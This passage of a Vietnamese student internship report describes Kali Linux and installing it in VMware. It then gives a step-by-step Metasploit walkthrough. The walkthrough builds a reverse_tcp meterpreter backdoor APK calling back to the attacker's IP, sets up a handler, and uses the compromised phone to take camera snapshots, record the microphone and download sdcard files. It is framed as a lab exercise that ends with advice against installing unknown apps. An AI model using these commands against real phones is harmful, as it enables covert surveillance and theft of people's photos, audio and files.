Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu

vô cùng quan trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói

của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt

cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong

việc xem xét hoặc thay đổi mã nguồn của các công cụ.

Tính tương thích kiến trúc

Page 30: Báo cáo thực tập giữa kì

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến

trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ

đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.

Hỗ trợ mạng không dây tốt hơn

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính

là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây

hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện

đánh giá mạng không dây.

Khả năng tùy biến cao

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối

với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops

như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.

Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều

hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì

chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali

đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người

dùng không phải cài lại mới hoàn toàn nữa

II. Cài đặt Kali Linux trên máy ảo VMware

Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài

này ta sẽ tiến hành cài phiên bản Kali Linux 1.0.6 64 bit.

http://www.kali.org/downloads/

Page 31: Báo cáo thực tập giữa kì

Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể

tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.

Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... .

Trên cửa sổ mới mở, chọn custom và nhấn next

Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải

trước đó:

Page 32: Báo cáo thực tập giữa kì

Đặt tên và đặt đường dẫn cho máy ảo

Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định.

Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install

Page 33: Báo cáo thực tập giữa kì

Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình

thường...

Tiếp theo chọn Root password, luôn nhớ Root password đã chọn!

Phần Partition chọn Guided – use entire disk và All files in one partition

Page 34: Báo cáo thực tập giữa kì

Chọn Finish partitioning and write changes to disk

Page 35: Báo cáo thực tập giữa kì

Chọn Yes

Nhấn continue để bắt đầu cài đặt khoảng 15 phút.

Page 36: Báo cáo thực tập giữa kì

Sau khi cài đặt xong, chọn No ở Network mirror, chọn Yes ở phần Boot-loader.

Page 37: Báo cáo thực tập giữa kì

Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là

root và password đã đặt ở phần trước.

Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware

Page 38: Báo cáo thực tập giữa kì

III. Tạo mã độc trên Kali Linux để xâm nhập Android

Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy

android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng

máy ảo Kali Linux bằng Vmware, ta nên thiết lập phần Network như sau:

Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware

Bấm vào Network Adapter và chọn Bridged: connection directly to the

physical network

Page 39: Báo cáo thực tập giữa kì

Bấm vào Edit -> Virtual Network Editor...

Trên phần Bridge (connect VMs directly to the external network) chọn adapter

của máy thật

Page 40: Báo cáo thực tập giữa kì

Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android

Đầu tiên mở terminal và gõ dòng lệnh

Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104 lport=8080

R > /root/Desktop/files.apk

192.168.0.104 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để xem

IP của máy Kali

Page 41: Báo cáo thực tập giữa kì

8080 là số port.

Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một

Metasploit reverse tcp backdoor.

Tiếp theo, gõ lệnh msfconsole

Page 42: Báo cáo thực tập giữa kì

Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng

cách gõ lệnh sau:

use exploit/multi/handler

set payload /meterpreter/reverse_tcp

set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.

set port 8080 – nhập port giống với port khi tạo payload ở trên.

Exploit

Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.

Page 43: Báo cáo thực tập giữa kì

Thử với một máy Galaxy nexus giả lập, tải về files.apk, cài đặt và mở lên được

giao diện như dưới, nhấp vào nút reverse_tcp:

Page 44: Báo cáo thực tập giữa kì

Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:

Để xem thông tin về máy, nhập lệnh SysInfo

Sử dụng camera:

Để xem danh sách camera, nhập webcam_list

Page 45: Báo cáo thực tập giữa kì

Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera

xem ở danh sách camera ở phần trước. Ví dụ như sau:

File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở

/root của máy

Ghi âm

Page 46: Báo cáo thực tập giữa kì

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy

Lấy file từ sd card

Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư

mục

Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard

Page 47: Báo cáo thực tập giữa kì

Dùng lệnh cd /sdcard/Download để vào thư mục

Page 48: Báo cáo thực tập giữa kì

Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh

Download App.apk

Và file này sẽ được tải về thư mục root của máy Kali

Page 49: Báo cáo thực tập giữa kì

Ngoài ra, để xem danh sách các lệnh, gõ help.

Kết luận

Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách

sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ

máy android về máy.

Sau khi thử nghiệm cách tấn công này, ta rút ra không nên tải về và chạy file lạ

trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, chỉ cần

máy bị nhiễm backdoor là ta đã có thể xem như có toàn quyền kiểm soát máy

android đó.

Page 50: Báo cáo thực tập giữa kì